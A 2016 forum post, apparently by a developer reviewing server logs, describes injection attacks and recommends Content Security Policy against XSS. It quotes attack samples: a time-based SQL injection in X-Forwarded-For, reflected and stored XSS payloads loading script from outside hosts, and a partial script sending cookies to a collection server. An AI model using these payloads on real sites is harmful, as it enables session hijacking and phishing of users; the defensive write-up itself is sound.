• UID625
  • Fans1
  • Follows1
  • Posts68

CSP—edge tool for defending against and capturing XSS vulnerabilities

More Posted time:Sep 23, 2016 13:29 PM
Recently, I've been sorting server logs for our project team and found suspected attackers from the vast amount of information. I also found a great variety of attacking methods. However, most are SQL and XSS injections. The following describes several interesting vectors of attack.
1. Forge HTTP_X_FORWARDED_FOR information
HTTP_X_FORWARDED_FOR =', select(0)from(select(sleep(3)))v',
In normal cases, we only need to directly save the IP address we get to the database, for example, \$ip = $_SERVER('HTTP_X_FORWARDED_FOR'). However, if HTTP_X_FORWARDED_FOR is tampered with, the database field length will exceed the limit, and there will be too much dirty data. What's worse, this will cause great security risks. Therefore, make sure to process IP addresses before importing them into the database.
In this attack method, attackers fully use the feature of HTTP_X_FORWARDED_FOR, in which multiple IP addresses are separated by comma and space. The leftmost is the IP address of the original client. Each time the proxy server successfully receives a request, it adds the source IP address of the request to the right.  If the request successfully passes three proxy servers, the information is as follows: proxy1, proxy2, proxy3. Therefore, the leftmost information can be customized.
2. Use storage vulnerabilities of emojis
In most cases, UTF-8 is the default encoding of a database and supports a maximum of 3 bytes per character. However, an emoji occupies 4 bytes. Therefore, an attacker can use an emoji (for example, a WeChat nickname) to launch an attack when modifying a user name. There are two solutions: 1. Encode the emoji. 2. Change the database encoding from UTF-8 to UTF8MB4. UTF8MB4 supports a maximum of 4 bytes per character and is backwards compatible with UTF-8, and has become a trend. Therefore, you are advised to change the default encoding to UTF8MB4.
The preceding problems can be rectified immediately after being detected and will not recur if appropriate solutions are applied. The most difficult to defend against is Cross-site Scripting (XSS) vulnerabilities. XSS attacks are low-cost and simple. Although they are simple, it's difficult to defend against them or find a sure-fire solution. The following describes several notable attack examples.
1. Reflected XSS, which occurs through links. The most common is search pages. The feature of directly displaying search content on pages is used to carry out XSS attacks.
url: https://www.***.com/s?wd=/> "<script src=http://xss.tv/sjpSEz>
The preceding is a search function. We add code for remotely invoking JavaScript to the search content. If the XSS attack succeeds, the URL can be spread on all big platforms, which is a common pattern for XSS. The following shows content of the JavaScript file:
top.document.body.innerHTML =
"<iframe width=100% height=100% frameborder=0 scrolling=no

Use iframe to replace the original page, and then load a phishing page to induce users to enter their user names and passwords.
2. Stored XSS, an XSS attack with great impact, with the injected script persistently stored in the database or on a server. The most common is comment pages. If XSS attack code is injected into comments, users accessing the comment page will be attacked.
/>"<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RqTFPGx';>
This is content that a user submits to a message board. If XSS filtering is not performed in the management background, a remote JavaScript file will be executed, and information such as cookies will be sent to the specified server. The following shows core code of the remote JavaScript file:
(function() {
    (new Image()).src = 'http://website.test/index.php?do=api&id=sjpSEz&location=' + escape((function() {
        try {
            return document.location.href
        } catch(e) {
            return ''
    })()) + '&toplocation=' + escape((function() {
        try {
            return top.location.href
        } catch(e) {
            return ''
    })()) + '&cookie=' + escape((function() {
        try {
            return document.cookie
        } catch(e) {
            return ''
    })()) + '&opener=' + escape((function() {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
        } catch(e) {
            return ''

The worst of an XSS attack lies in that an attacker can obtain data he/she wants once the attack succeeds and that even fixing the vulnerabilities cannot prevent the attack. For example, if the attacker obtains cookie information, he/she has the administrator privilege. The attacker still can log in using the cookie even after you fix the XSS vulnerabilities.
There are numerous XSS attacks, and it's too difficult to prevent them. However, there is a feasible method. XSS attacks occur on browsers. Therefore, we can use Content Security Policy (CSP) to defend against most XSS attacks as well as to block attacks and to notify the administrator before information is transferred to attackers.
The following describes how to set CSP. Attackers may use nine categories of resources to launch XSS attacks:
• script-src: mainly defends against remote JavaScript
• style-src: mainly defends against remote style
• img-src: mainly defends against remote images
• connect-src: mainly defends against AJAX, WebSocket, and EventSource
• font-src: mainly defends against remote font URLs
• object-src: mainly defends against <object>, <embed>, and <applet>
• media-src: mainly defends against <audio> and <video>
• frame-src: out-of-date
• manifest-src: mainly prevents the manifest file from being loaded
Other configuration information:
• default-src: contains defense policies for the following files:
• sandbox: sets the sandbox environment
• report-uri: sends XSS details to the URL when an error occurs
• child-src: mainly defends against <frame> and <iframe>
• form-action: mainly defends against <form>
• frame-ancestors: mainly defends against <frame>, <iframe>, <object>, <embed>, and <applet>
• plugin-types: mainly defends against <object>, <embed>, and <applet>
Select configuration items based on actual service requirements. For example, I configure the following information:
img-src 'self' data: http://*.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;
object-src 'self';
report-uri /test/csp

I specify sources of images, JavaScript files, videos and music, and other resource files by specific service, and then set error information to be reported to /test/csp. To make code take effect, we only need to add the preceding information to Header (the following takes PHP as an example):
"img-src 'self' data: http://*.xxx.com;".
"script-src 'self' 'unsafe-inline' 'unsafe-eval' http://tmp.xxx.com;".
"object-src 'self';"
."report-uri /test/csp");

Note Data URI scheme resources, for example:
• data: text data
• data:text/plain: plain text data
• data:text/html: HTML code
• data:text/css;base64: CSS code
• data:text/javascript;base64: JavaScript code
• data:image/x-icon;base64: Base64-encoded icon data
• data:image/gif;base64: Base64-encoded GIF image data
• data:image/png;base64: Base64-encoded PNG image data
• data:image/jpeg;base64: Base64-encoded JPEG image data
Such data should be separately configured. For example,  data:  in "img-src 'self' data:" indicates that Data URI scheme image resources can be loaded. Otherwise, an error message will be displayed. There are more complicated methods to work out.
With CSP, we can detect and defend against most XSS attacks before XSS vulnerabilities bring about irreversible effects. Whether XSS attacks can be completely prevented or avoided in certain scenarios is to be figured out. If the defense against XSS attacks was scored 70 points, now it is 95 points after CSP is used. So, why not use CSP?